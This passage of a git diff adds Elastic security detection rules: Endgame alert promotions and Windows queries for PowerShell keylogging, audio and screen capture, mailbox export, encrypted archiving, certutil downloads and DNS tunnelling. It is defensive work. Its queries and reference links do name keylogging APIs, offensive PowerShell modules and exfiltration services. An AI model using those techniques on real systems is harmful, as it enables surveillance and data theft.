["endgame-*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +max_signals = 10000 +name = "Exploit - Prevented - Elastic Endgame" +risk_score = 47 +rule_id = "2863ffeb-bf77-44dd-b7a5-93ef94b72036" +severity = "medium" +tags = ["Elastic", "Elastic Endgame"] +type = "query" + +query = ''' +event.kind:alert and event.module:endgame and endgame.metadata.type:prevention and (event.action:exploit_event or endgame.event_subtype_full:exploit_event) +''' + diff --git a/rules/promotions/endgame_malware_detected.toml b/rules/promotions/endgame_malware_detected.toml new file mode 100644 index 000000000..486f13b68 --- /dev/null +++ b/rules/promotions/endgame_malware_detected.toml @@ -0,0 +1,28 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/12/13" + +[rule] +author = ["Elastic"] +description = """ +Elastic Endgame detected Malware. Click the Elastic Endgame icon in the event.module column or the link in the +rule.reference column for additional information. +""" +from = "now-15m" +index = ["endgame-*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +max_signals = 10000 +name = "Malware - Detected - Elastic Endgame" +risk_score = 99 +rule_id = "0a97b20f-4144-49ea-be32-b540ecc445de" +severity = "critical" +tags = ["Elastic", "Elastic Endgame"] +type = "query" + +query = ''' +event.kind:alert and event.module:endgame and endgame.metadata.type:detection and (event.action:file_classification_event or endgame.event_subtype_full:file_classification_event) +''' + diff --git a/rules/promotions/endgame_malware_prevented.toml b/rules/promotions/endgame_malware_prevented.toml new file mode 100644 index 000000000..2741cf214 --- /dev/null +++ b/rules/promotions/endgame_malware_prevented.toml @@ -0,0 +1,28 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/12/13" + +[rule] +author = ["Elastic"] +description = """ +Elastic Endgame prevented Malware. Click the Elastic Endgame icon in the event.module column or the link in the +rule.reference column for additional information. +""" +from = "now-15m" +index = ["endgame-*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +max_signals = 10000 +name = "Malware - Prevented - Elastic Endgame" +risk_score = 73 +rule_id = "3b382770-efbb-44f4-beed-f5e0a051b895" +severity = "high" +tags = ["Elastic", "Elastic Endgame"] +type = "query" + +query = ''' +event.kind:alert and event.module:endgame and endgame.metadata.type:prevention and (event.action:file_classification_event or endgame.event_subtype_full:file_classification_event) +''' + diff --git a/rules/promotions/endgame_permission_theft_detected.toml b/rules/promotions/endgame_permission_theft_detected.toml new file mode 100644 index 000000000..25a78ae36 --- /dev/null +++ b/rules/promotions/endgame_permission_theft_detected.toml @@ -0,0 +1,28 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/12/13" + +[rule] +author = ["Elastic"] +description = """ +Elastic Endgame detected Permission Theft. Click the Elastic Endgame icon in the event.module column or the link in +the rule.reference column for additional information. +""" +from = "now-15m" +index = ["endgame-*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +max_signals = 10000 +name = "Permission Theft - Detected - Elastic Endgame" +risk_score = 73 +rule_id = "c3167e1b-f73c-41be-b60b-87f4df707fe3" +severity = "high" +tags = ["Elastic", "Elastic Endgame"] +type = "query" + +query = ''' +event.kind:alert and event.module:endgame and endgame.metadata.type:detection and (event.action:token_protection_event or endgame.event_subtype_full:token_protection_event) +''' + diff --git a/rules/promotions/endgame_permission_theft_prevented.toml b/rules/promotions/endgame_permission_theft_prevented.toml new file mode 100644 index 000000000..606b65248 --- /dev/null +++ b/rules/promotions/endgame_permission_theft_prevented.toml @@ -0,0 +1,28 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/12/13" + +[rule] +author = ["Elastic"] +description = """ +Elastic Endgame prevented Permission Theft. Click the Elastic Endgame icon in the event.module column or the link in +the rule.reference column for additional information. +""" +from = "now-15m" +index = ["endgame-*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +max_signals = 10000 +name = "Permission Theft - Prevented - Elastic Endgame" +risk_score = 47 +rule_id = "453f659e-0429-40b1-bfdb-b6957286e04b" +severity = "medium" +tags = ["Elastic", "Elastic Endgame"] +type = "query" + +query = ''' +event.kind:alert and event.module:endgame and endgame.metadata.type:prevention and (event.action:token_protection_event or endgame.event_subtype_full:token_protection_event) +''' + diff --git a/rules/promotions/endgame_process_injection_detected.toml b/rules/promotions/endgame_process_injection_detected.toml new file mode 100644 index 000000000..ecd5d1734 --- /dev/null +++ b/rules/promotions/endgame_process_injection_detected.toml @@ -0,0 +1,28 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/12/13" + +[rule] +author = ["Elastic"] +description = """ +Elastic Endgame detected Process Injection. Click the Elastic Endgame icon in the event.module column or the link in +the rule.reference column for additional information. +""" +from = "now-15m" +index = ["endgame-*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +max_signals = 10000 +name = "Process Injection - Detected - Elastic Endgame" +risk_score = 73 +rule_id = "80c52164-c82a-402c-9964-852533d58be1" +severity = "high" +tags = ["Elastic", "Elastic Endgame"] +type = "query" + +query = ''' +event.kind:alert and event.module:endgame and endgame.metadata.type:detection and (event.action:kernel_shellcode_event or endgame.event_subtype_full:kernel_shellcode_event) +''' + diff --git a/rules/promotions/endgame_process_injection_prevented.toml b/rules/promotions/endgame_process_injection_prevented.toml new file mode 100644 index 000000000..5d096ebae --- /dev/null +++ b/rules/promotions/endgame_process_injection_prevented.toml @@ -0,0 +1,28 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/12/13" + +[rule] +author = ["Elastic"] +description = """ +Elastic Endgame prevented Process Injection. Click the Elastic Endgame icon in the event.module column or the link +in the rule.reference column for additional information. +""" +from = "now-15m" +index = ["endgame-*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +max_signals = 10000 +name = "Process Injection - Prevented - Elastic Endgame" +risk_score = 47 +rule_id = "990838aa-a953-4f3e-b3cb-6ddf7584de9e" +severity = "medium" +tags = ["Elastic", "Elastic Endgame"] +type = "query" + +query = ''' +event.kind:alert and event.module:endgame and endgame.metadata.type:prevention and (event.action:kernel_shellcode_event or endgame.event_subtype_full:kernel_shellcode_event) +''' + diff --git a/rules/promotions/endgame_ransomware_detected.toml b/rules/promotions/endgame_ransomware_detected.toml new file mode 100644 index 000000000..c5f22e242 --- /dev/null +++ b/rules/promotions/endgame_ransomware_detected.toml @@ -0,0 +1,28 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/12/13" + +[rule] +author = ["Elastic"] +description = """ +Elastic Endgame detected ransomware. Click the Elastic Endgame icon in the event.module column or the link in the +rule.reference column for additional information. +""" +from = "now-15m" +index = ["endgame-*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +max_signals = 10000 +name = "Ransomware - Detected - Elastic Endgame" +risk_score = 99 +rule_id = "8cb4f625-7743-4dfb-ae1b-ad92be9df7bd" +severity = "critical" +tags = ["Elastic", "Elastic Endgame"] +type = "query" + +query = ''' +event.kind:alert and event.module:endgame and endgame.metadata.type:detection and (event.action:ransomware_event or endgame.event_subtype_full:ransomware_event) +''' + diff --git a/rules/promotions/endgame_ransomware_prevented.toml b/rules/promotions/endgame_ransomware_prevented.toml new file mode 100644 index 000000000..14052bfaa --- /dev/null +++ b/rules/promotions/endgame_ransomware_prevented.toml @@ -0,0 +1,28 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/12/13" + +[rule] +author = ["Elastic"] +description = """ +Elastic Endgame prevented ransomware. Click the Elastic Endgame icon in the event.module column or the link in the +rule.reference column for additional information. +""" +from = "now-15m" +index = ["endgame-*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +max_signals = 10000 +name = "Ransomware - Prevented - Elastic Endgame" +risk_score = 73 +rule_id = "e3c5d5cb-41d5-4206-805c-f30561eae3ac" +severity = "high" +tags = ["Elastic", "Elastic Endgame"] +type = "query" + +query = ''' +event.kind:alert and event.module:endgame and endgame.metadata.type:prevention and (event.action:ransomware_event or endgame.event_subtype_full:ransomware_event) +''' + diff --git a/rules/promotions/external_alerts.toml b/rules/promotions/external_alerts.toml new file mode 100644 index 000000000..79043d890 --- /dev/null +++ b/rules/promotions/external_alerts.toml @@ -0,0 +1,59 @@ +[metadata] +creation_date = "2020/07/08" +maturity = "production" +updated_date = "2021/07/13" + +[rule] +author = ["Elastic"] +description = """ +Generates a detection alert for each external alert written to the configured indices. Enabling this rule allows you to +immediately begin investigating external alerts in the app. +""" +index = ["apm-*-transaction*", "traces-apm*", "auditbeat-*", "filebeat-*", "logs-*", "packetbeat-*", "winlogbeat-*"] +language = "kuery" +license = "Elastic License v2" +max_signals = 10000 +name = "External Alerts" +risk_score = 47 +rule_id = "eb079c62-4481-4d6e-9643-3ca499df7aaa" +rule_name_override = "message" +severity = "medium" +tags = ["Elastic", "Network", "Windows", "APM", "macOS", "Linux"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.kind:alert and not event.module:(endgame or endpoint) +''' + + +[[rule.risk_score_mapping]] +field = "event.risk_score" +operator = "equals" +value = "" + +[[rule.severity_mapping]] +field = "event.severity" +operator = "equals" +value = "21" +severity = "low" + +[[rule.severity_mapping]] +field = "event.severity" +operator = "equals" +value = "47" +severity = "medium" + +[[rule.severity_mapping]] +field = "event.severity" +operator = "equals" +value = "73" +severity = "high" + +[[rule.severity_mapping]] +field = "event.severity" +operator = "equals" +value = "99" +severity = "critical" + + diff --git a/rules/windows/collection_email_powershell_exchange_mailbox.toml b/rules/windows/collection_email_powershell_exchange_mailbox.toml new file mode 100644 index 000000000..eee6f233b --- /dev/null +++ b/rules/windows/collection_email_powershell_exchange_mailbox.toml @@ -0,0 +1,57 @@ +[metadata] +creation_date = "2020/12/15" +maturity = "production" +updated_date = "2021/10/17" + +[rule] +author = ["Elastic"] +description = """ +Identifies the use of the Exchange PowerShell cmdlet, New-MailBoxExportRequest, to export the contents of a primary +mailbox or archive to a .pst file. Adversaries may target user email to collect sensitive information. +""" +false_positives = ["Legitimate exchange system administration activity."] +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Exporting Exchange Mailbox via PowerShell" +references = [ + "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "https://docs.microsoft.com/en-us/powershell/module/exchange/new-mailboxexportrequest?view=exchange-ps", +] +risk_score = 47 +rule_id = "6aace640-e631-4870-ba8e-5fdda09325db" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Collection"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.name: ("powershell.exe", "pwsh.exe", "powershell_ise.exe") and process.args : "New-MailboxExportRequest*" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1114" +name = "Email Collection" +reference = "https://attack.mitre.org/techniques/T1114/" + + [[rule.threat.technique.subtechnique]] + id = "T1114.002" + name = "Remote Email Collection" + reference = "https://attack.mitre.org/techniques/T1114/002/" + +[[rule.threat.technique]] +reference = "https://attack.mitre.org/techniques/T1005/" +id = "T1005" +name = "Data from Local System" + + +[rule.threat.tactic] +id = "TA0009" +name = "Collection" +reference = "https://attack.mitre.org/tactics/TA0009/" + diff --git a/rules/windows/collection_posh_audio_capture.toml b/rules/windows/collection_posh_audio_capture.toml new file mode 100644 index 000000000..7348078a5 --- /dev/null +++ b/rules/windows/collection_posh_audio_capture.toml @@ -0,0 +1,111 @@ +[metadata] +creation_date = "2021/10/19" +maturity = "production" +updated_date = "2022/03/02" + +[rule] +author = ["Elastic"] +description = """ +Detects PowerShell scripts that can record audio, a common feature in popular post-exploitation tooling. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-windows.*"] +language = "kuery" +license = "Elastic License v2" +name = "PowerShell Suspicious Script with Audio Capture Capabilities" +note = """## Triage and analysis. + +### Investigating PowerShell Suspicious Script with Audio Capture Capabilities + +PowerShell is one of the main tools used by system administrators for automation, report routines, and other tasks. + +Attackers can use PowerShell to interact with the Windows API and capture audio from input devices connected to the +computer. + +#### Possible investigation steps: + +- Examine script content that triggered the detection. +- Investigate script execution chain (parent process tree). +- Inspect any file or network events from the suspicious PowerShell host process instance. +- If the action is suspicious for the user, check for any other activities done by the user in the last 48 hours. + +### False Positive Analysis + +- Verify whether the script content is malicious/harmful. + +### Related Rules + +- PowerShell PSReflect Script - 56f2e9b5-4803-4e44-a0a4-a52dc79d57fe +- Potential Process Injection via PowerShell - 2e29e96a-b67c-455a-afe4-de6183431d0d + +### Response and Remediation + +- Immediate response steps should be taken to validate, investigate, and potentially contain the activity to prevent +further post-compromise behavior. + +## Config + +The 'PowerShell Script Block Logging' logging policy must be enabled. +Steps to implement the logging policy with with Advanced Audit Configuration: + +``` +Computer Configuration > +Administrative Templates > +Windows PowerShell > +Turn on PowerShell Script Block Logging (Enable) +``` + +Steps to implement the logging policy via registry: + +``` +reg add "hklm\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging" /v EnableScriptBlockLogging /t REG_DWORD /d 1 +``` +""" +references = ["https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-MicrophoneAudio.ps1"] +risk_score = 47 +rule_id = "2f2f4939-0b34-40c2-a0a3-844eb7889f43" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Collection"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and + powershell.file.script_block_text : ( + "Get-MicrophoneAudio" or (waveInGetNumDevs and mciSendStringA) + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[[rule.threat.technique]] +id = "T1123" +name = "Audio Capture" +reference = "https://attack.mitre.org/techniques/T1123/" + +[rule.threat.tactic] +id = "TA0009" +name = "Collection" +reference = "https://attack.mitre.org/tactics/TA0009/" + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[[rule.threat.technique]] +id = "T1059" +reference = "https://attack.mitre.org/techniques/T1059/" +name = "Command and Scripting Interpreter" + + [[rule.threat.technique.subtechnique]] + id = "T1059.001" + reference = "https://attack.mitre.org/techniques/T1059/001/" + name = "PowerShell" + +[rule.threat.tactic] +id = "TA0002" +reference = "https://attack.mitre.org/tactics/TA0002/" +name = "Execution" + diff --git a/rules/windows/collection_posh_keylogger.toml b/rules/windows/collection_posh_keylogger.toml new file mode 100644 index 000000000..2f3ad4c6f --- /dev/null +++ b/rules/windows/collection_posh_keylogger.toml @@ -0,0 +1,123 @@ +[metadata] +creation_date = "2021/10/15" +maturity = "production" +updated_date = "2022/03/02" + +[rule] +author = ["Elastic"] +description = """ +Detects the use of Win32 API Functions that can be used to capture user keystrokes in PowerShell scripts. +Attackers use this technique to capture user input, looking for credentials and/or other valuable data. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-windows.*"] +language = "kuery" +license = "Elastic License v2" +name = "PowerShell Keylogging Script" +note = """## Triage and analysis. + +### Investigating PowerShell Keylogging Script + +PowerShell is one of the main tools used by system administrators for automation, report routines, and other tasks. + +Attackers can abuse PowerShell capabilities to capture user keystrokes with the goal of stealing credentials and other +valuable information as credit card data and confidential conversations. + +#### Possible investigation steps: + +- Examine script content that triggered the detection. +- Investigate script execution chain (parent process tree). +- Inspect any file or network events from the suspicious PowerShell host process instance. +- If the action is suspicious for the user, check for any other activities done by the user in the last 48 hours. + +### False Positive Analysis + +- Verify whether the script content is malicious/harmful. + +### Related Rules + +- PowerShell PSReflect Script - 56f2e9b5-4803-4e44-a0a4-a52dc79d57fe + +### Response and Remediation + +- Immediate response steps should be taken to validate, investigate, and potentially contain the activity to prevent +further post-compromise behavior. + +## Config + +The 'PowerShell Script Block Logging' logging policy must be enabled. +Steps to implement the logging policy with with Advanced Audit Configuration: + +``` +Computer Configuration > +Administrative Templates > +Windows PowerShell > +Turn on PowerShell Script Block Logging (Enable) +``` + +Steps to implement the logging policy via registry: + +``` +reg add "hklm\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging" /v EnableScriptBlockLogging /t REG_DWORD /d 1 +``` +""" +references = [ + "https://github.com/EmpireProject/Empire/blob/master/data/module_source/collection/Get-Keystrokes.ps1", + "https://github.com/MojtabaTajik/FunnyKeylogger/blob/master/FunnyLogger.ps1", +] +risk_score = 73 +rule_id = "bd2c86a0-8b61-4457-ab38-96943984e889" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Collection"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and + ( + powershell.file.script_block_text : (GetAsyncKeyState or NtUserGetAsyncKeyState or GetKeyboardState or "Get-Keystrokes") or + powershell.file.script_block_text : ( + (SetWindowsHookA or SetWindowsHookW or SetWindowsHookEx or SetWindowsHookExA or NtUserSetWindowsHookEx) and + (GetForegroundWindow or GetWindowTextA or GetWindowTextW or "WM_KEYBOARD_LL") + ) + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[[rule.threat.technique]] +id = "T1056" +name = "Input Capture" +reference = "https://attack.mitre.org/techniques/T1056/" + + [[rule.threat.technique.subtechnique]] + id = "T1056.001" + name = "Keylogging" + reference = "https://attack.mitre.org/techniques/T1056/001/" + +[rule.threat.tactic] +id = "TA0009" +name = "Collection" +reference = "https://attack.mitre.org/tactics/TA0009/" + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[[rule.threat.technique]] +id = "T1059" +name = "Command and Scripting Interpreter" +reference = "https://attack.mitre.org/techniques/T1059/" + + [[rule.threat.technique.subtechnique]] + id = "T1059.001" + name = "PowerShell" + reference = "https://attack.mitre.org/techniques/T1059/001/" + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" + diff --git a/rules/windows/collection_posh_screen_grabber.toml b/rules/windows/collection_posh_screen_grabber.toml new file mode 100644 index 000000000..a4e9cd34c --- /dev/null +++ b/rules/windows/collection_posh_screen_grabber.toml @@ -0,0 +1,65 @@ +[metadata] +creation_date = "2021/10/19" +maturity = "production" +updated_date = "2022/03/02" + +[rule] +author = ["Elastic"] +description = """ +Detects PowerShell scripts that can take screenshots, which is a common feature in post-exploitation kits and remote +access tools (RATs). +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-windows.*"] +language = "kuery" +license = "Elastic License v2" +name = "PowerShell Suspicious Script with Screenshot Capabilities" +references = ["https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen"] +risk_score = 47 +rule_id = "959a7353-1129-4aa7-9084-30746b256a70" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Collection"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and + powershell.file.script_block_text : ( + CopyFromScreen and + ("System.Drawing.Bitmap" or "Drawing.Bitmap") + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[[rule.threat.technique]] +id = "T1113" +name = "Screen Capture" +reference = "https://attack.mitre.org/techniques/T1113/" + +[rule.threat.tactic] +id = "TA0009" +name = "Collection" +reference = "https://attack.mitre.org/tactics/TA0009/" + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[[rule.threat.technique]] +id = "T1059" +reference = "https://attack.mitre.org/techniques/T1059/" +name = "Command and Scripting Interpreter" + + [[rule.threat.technique.subtechnique]] + id = "T1059.001" + reference = "https://attack.mitre.org/techniques/T1059/001/" + name = "PowerShell" + +[rule.threat.tactic] +id = "TA0002" +reference = "https://attack.mitre.org/tactics/TA0002/" +name = "Execution" + diff --git a/rules/windows/collection_winrar_encryption.toml b/rules/windows/collection_winrar_encryption.toml new file mode 100644 index 000000000..2beedc917 --- /dev/null +++ b/rules/windows/collection_winrar_encryption.toml @@ -0,0 +1,57 @@ +[metadata] +creation_date = "2020/12/04" +maturity = "production" +updated_date = "2021/09/23" + +[rule] +author = ["Elastic"] +description = """ +Identifies use of WinRar or 7z to create an encrypted files. Adversaries will often compress and encrypt data in +preparation for exfiltration. +""" +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Encrypting Files with WinRar or 7z" +references = ["https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/"] +risk_score = 47 +rule_id = "45d273fb-1dca-457d-9855-bcb302180c21" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Collection"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + ((process.name:"rar.exe" or process.code_signature.subject_name == "win.rar GmbH" or + process.pe.original_file_name == "Command line RAR") and + process.args == "a" and process.args : ("-hp*", "-p*", "-dw", "-tb", "-ta", "/hp*", "/p*", "/dw", "/tb", "/ta")) + + or + (process.pe.original_file_name in ("7z.exe", "7za.exe") and + process.args == "a" and process.args : ("-p*", "-sdel")) + + /* uncomment if noisy for backup software related FPs */ + /* not process.parent.executable : ("C:\\Program Files\\*.exe", "C:\\Program Files (x86)\\*.exe") */ +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1560" +name = "Archive Collected Data" +reference = "https://attack.mitre.org/techniques/T1560/" + + [[rule.threat.technique.subtechnique]] + id = "T1560.001" + name = "Archive via Utility" + reference = "https://attack.mitre.org/techniques/T1560/001/" + + +[rule.threat.tactic] +id = "TA0009" +name = "Collection" +reference = "https://attack.mitre.org/tactics/TA0009/" + diff --git a/rules/windows/command_and_control_certutil_network_connection.toml b/rules/windows/command_and_control_certutil_network_connection.toml new file mode 100644 index 000000000..61fea0d16 --- /dev/null +++ b/rules/windows/command_and_control_certutil_network_connection.toml @@ -0,0 +1,49 @@ +[metadata] +creation_date = "2020/03/19" +maturity = "production" +updated_date = "2021/05/26" + +[rule] +author = ["Elastic"] +description = """ +Identifies certutil.exe making a network connection. Adversaries could abuse certutil.exe to download a certificate, or +malware, from a remote URL. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Network Connection via Certutil" +references = ["https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml"] +risk_score = 21 +rule_id = "3838e0e3-1850-4850-a411-2e8c5ba40ba8" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Command and Control"] +type = "eql" + +query = ''' +sequence by process.entity_id + [process where process.name : "certutil.exe" and event.type == "start"] + [network where process.name : "certutil.exe" and + not cidrmatch(destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", + "192.0.0.0/29", "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", + "192.0.0.171/32", "192.0.2.0/24", "192.31.196.0/24", "192.52.193.0/24", + "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", "192.175.48.0/24", + "198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", + "FE80::/10", "FF00::/8")] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1105" +name = "Ingress Tool Transfer" +reference = "https://attack.mitre.org/techniques/T1105/" + + +[rule.threat.tactic] +id = "TA0011" +name = "Command and Control" +reference = "https://attack.mitre.org/tactics/TA0011/" + diff --git a/rules/windows/command_and_control_common_webservices.toml b/rules/windows/command_and_control_common_webservices.toml new file mode 100644 index 000000000..59bafda14 --- /dev/null +++ b/rules/windows/command_and_control_common_webservices.toml @@ -0,0 +1,115 @@ +[metadata] +creation_date = "2020/11/04" +maturity = "production" +updated_date = "2022/02/14" + +[rule] +author = ["Elastic"] +description = """ +Adversaries may implement command and control communications that use common web services in order to hide their +activity. This attack technique is typically targeted to an organization and uses web services common to the victim +network which allows the adversary to blend into legitimate traffic. activity. These popular services are typically +targeted since they have most likely been used before a compromise and allow adversaries to blend in the network. +""" +from = "now-9m" +index = ["logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Connection to Commonly Abused Web Services" +risk_score = 21 +rule_id = "66883649-f908-4a5b-a1e0-54090a1d3a32" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Command and Control"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +network where network.protocol == "dns" and + process.name != null and user.id not in ("S-1-5-18", "S-1-5-19", "S-1-5-20") and + /* Add new WebSvc domains here */ + dns.question.name : + ( + "raw.githubusercontent.*", + "*.pastebin.*", + "*drive.google.*", + "*docs.live.*", + "*api.dropboxapi.*", + "*dropboxusercontent.*", + "*onedrive.*", + "*4shared.*", + "*.file.io", + "*filebin.net", + "*slack-files.com", + "*ghostbin.*", + "*ngrok.*", + "*portmap.*", + "*serveo.net", + "*localtunnel.me", + "*pagekite.me", + "*localxpose.io", + "*notabug.org", + "rawcdn.githack.*", + "paste.nrecom.net", + "zerobin.net", + "controlc.com", + "requestbin.net", + "cdn.discordapp.com", + "discordapp.com", + "discord.com" + ) and + /* Insert noisy false positives here */ + not process.executable : + ( + "?:\\Program Files\\*.exe", + "?:\\Program Files (x86)\\*.exe", + "?:\\Windows\\System32\\WWAHost.exe", + "?:\\Windows\\System32\\smartscreen.exe", + "?:\\Windows\\System32\\MicrosoftEdgeCP.exe", + "?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\*\\MsMpEng.exe", + "?:\\Users\\*\\AppData\\Local\\Google\\Chrome\\Application\\chrome.exe", + "?:\\Users\\*\\AppData\\Local\\Programs\\Fiddler\\Fiddler.exe", + "?:\\Users\\*\\AppData\\Local\\Programs\\Microsoft VS Code\\Code.exe", + "?:\\Users\\*\\AppData\\Local\\Microsoft\\OneDrive\\OneDrive.exe", + "?:\\Windows\\system32\\mobsync.exe", + "?:\\Windows\\SysWOW64\\mobsync.exe", + "?:\\Users\\*\\AppData\\Local\\Discord\\-*\\Discord.exe" + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1102" +name = "Web Service" +reference = "https://attack.mitre.org/techniques/T1102/" + + +[rule.threat.tactic] +id = "TA0011" +name = "Command and Control" +reference = "https://attack.mitre.org/tactics/TA0011/" + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1567" +name = "Exfiltration Over Web Service" +reference = "https://attack.mitre.org/techniques/T1567/" + + [[rule.threat.technique.subtechnique]] + id = "T1567.001" + name = "Exfiltration to Code Repository" + reference = "https://attack.mitre.org/techniques/T1567/001/" + + [[rule.threat.technique.subtechnique]] + id = "T1567.002" + name = "Exfiltration to Cloud Storage" + reference = "https://attack.mitre.org/techniques/T1567/002/" + + +[rule.threat.tactic] +id = "TA0010" +name = "Exfiltration" +reference = "https://attack.mitre.org/tactics/TA0010/" \ No newline at end of file diff --git a/rules/windows/command_and_control_dns_tunneling_nslookup.toml b/rules/windows/command_and_control_dns_tunneling_nslookup.toml new file mode 100644 index 000000000..29aa6f679 --- /dev/null +++ b/rules/windows/command_and_control_dns_tunneling_nslookup.toml @@ -0,0 +1,50 @@ +[metadata] +creation_date = "2020/11/11" +maturity = "production" +updated_date = "2021/09/23" + +[rule] +author = ["Elastic"] +description = """ +This rule identifies a large number (15) of nslookup.exe executions with an explicit query type from the same host. This +may indicate command and control activity utilizing the DNS protocol. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "kuery" +license = "Elastic License v2" +name = "Potential DNS Tunneling via NsLookup" +references = ["https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/"] +risk_score = 47 +rule_id = "3a59fc81-99d3-47ea-8cd6-d48d561fca20" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Command and Control"] +type = "threshold" + +query = ''' +event.category:process and event.type:start and process.name:nslookup.exe and process.args:(-querytype=* or -qt=* or -q=* or -type=*) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1071" +name = "Application Layer Protocol" +reference = "https://attack.mitre.org/techniques/T1071/" + + [[rule.threat.technique.subtechnique]] + id = "T1071.004" + name = "DNS" + reference = "https://attack.mitre.org/techniques/T1071/004/" + + +[rule.threat.tactic] +id = "TA0011" +name = "Command and Control" +reference = "https://attack.mitre.org/tactics/TA0011/" + +[rule.threshold] +field = ["host.id"] +value = 15 + diff --git a/rules/windows/command_and_control_encrypted_channel_freesslcert.toml b/rules/windows/command_and_control_encrypted_channel_freesslcert.toml new file mode 100644 index 000000000..4fefd546b --- /dev/null +++ b/rules/windows/command_and_control_encrypted_channel_freesslcert.toml @@ -0,0 +1,54 @@ +[metadata] +creation_date = "2020/11/04" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies unusual processes connecting to domains using known free SSL certificates. Adversaries may employ a known +encryption algorithm to conceal command and control traffic. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Connection to Commonly Abused Free SSL Certificate Providers" +risk_score = 21 +rule_id = "e3cf38fa-d5b8-46cc-87f9-4a7513e4281d" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Command and Control"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +network where network.protocol == "dns" and + /* Add new free SSL certificate provider domains here */ + dns.question.name : ("*letsencrypt.org", "*.sslforfree.com", "*.zerossl.com", "*.freessl.org") and + + /* Native Windows process paths that are unlikely to have network connections to domains secured using free SSL certificates */ + process.executable : ("C:\\Windows\\System32\\*.exe", + "C:\\Windows\\System\\*.exe", + 